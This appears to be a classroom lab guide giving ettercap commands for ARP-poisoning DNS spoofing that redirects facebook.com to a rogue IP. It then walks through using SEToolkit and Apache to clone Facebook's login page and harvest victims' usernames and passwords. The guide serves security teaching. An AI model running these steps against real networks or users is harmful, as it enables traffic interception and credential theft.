

## DNS SPOOFING

For DNS Spoofing we will use ettercap, this guide will contain only the attack using text-interface ettercap, at the lesson we will also see the graphical interface of ettercap.

1. Configure ettercap dns file
  - a. Edit etter.dns file with fake dns entries for the site that we want to spoof
    - i. `$sudo su`
    - ii. `$nano /etc/ettercap/etter.dns`
    - iii. Insert custom dns reply in form
      1. `<<WEBSITE_URL>>` `<<TYPE_OF_DNS_RECORD>>`  
`<<ROGUE_IP_ADDRESS>>`
2. Performing attack
  - a. `$sudo su`
  - b. `$ettercap -T -M arp /10.0.0.3//`
  - c. Press p to see the list of plugin
    - i. Write **dns\_spoof** to activate plugin
  - d. Press space to enable/disable packets visualization
3. Check if works
  - a. On victim host ping [www.facebook.com](http://www.facebook.com) and see if the ip is the rogue one

```
facebook.com      A      10.0.0.2
*.facebook.com    A      10.0.0.2
www.facebook.com  PTR    10.0.0.2
```

## PHISHING

In order to perform this attack we will use some tools:

- Social Engineering Tool Kit (SEToolkit): to clone the website
- Apache2: for webserver that will run our cloned website
- Ettercap: for DNS spoofing

1. Install setoolkit
  - a. `$git clone https://github.com/trustedsec/social-engineer-toolkit/ set/`
  - b. `$cd set`
  - c. `$sudo python3 setup.py install`
2. Install apache
  - a. `$sudo apt install apache2`
3. Configure setoolkit

- a. Modify set.config file to enable apache2 server
    - i. \$sudo su
    - ii. \$nano /etc/setoolkit/set.config
    - iii. Modify "**APACHE\_SERVER**" to **ON**
    - iv. Modify "**APACHE\_DIRECTORY**" to **"/var/www/html"**
4. Cloning facebook website
  - a. \$sudo setoolkit
  - b. Inside interactive shell navigate to start site cloning
    - i. 1 (Social-Engineering Attacks)
    - ii. 2 (Website Attack Vectors)
    - iii. 3 (Credential Harvester Attack Method)
    - iv. 2 (Site Cloner)
  - c. Insert ip address of our host
  - d. Insert url of site to clone
  - e. Setoolkit will clone the website and start apache2 server
5. Start DNS Spoof with ettercap (Follow previous guide)
6. On setoolkit shell wait until request are coming. We will see username and password of victim
7. On victim pc go on facebook an compile the fake login
  - a. Open browser in incognito mode (so that it will not redirect you to https)
  - b. Put [www.facebook.com](http://www.facebook.com)
  - c. Compile the form and watch on setoolkit shell if data comes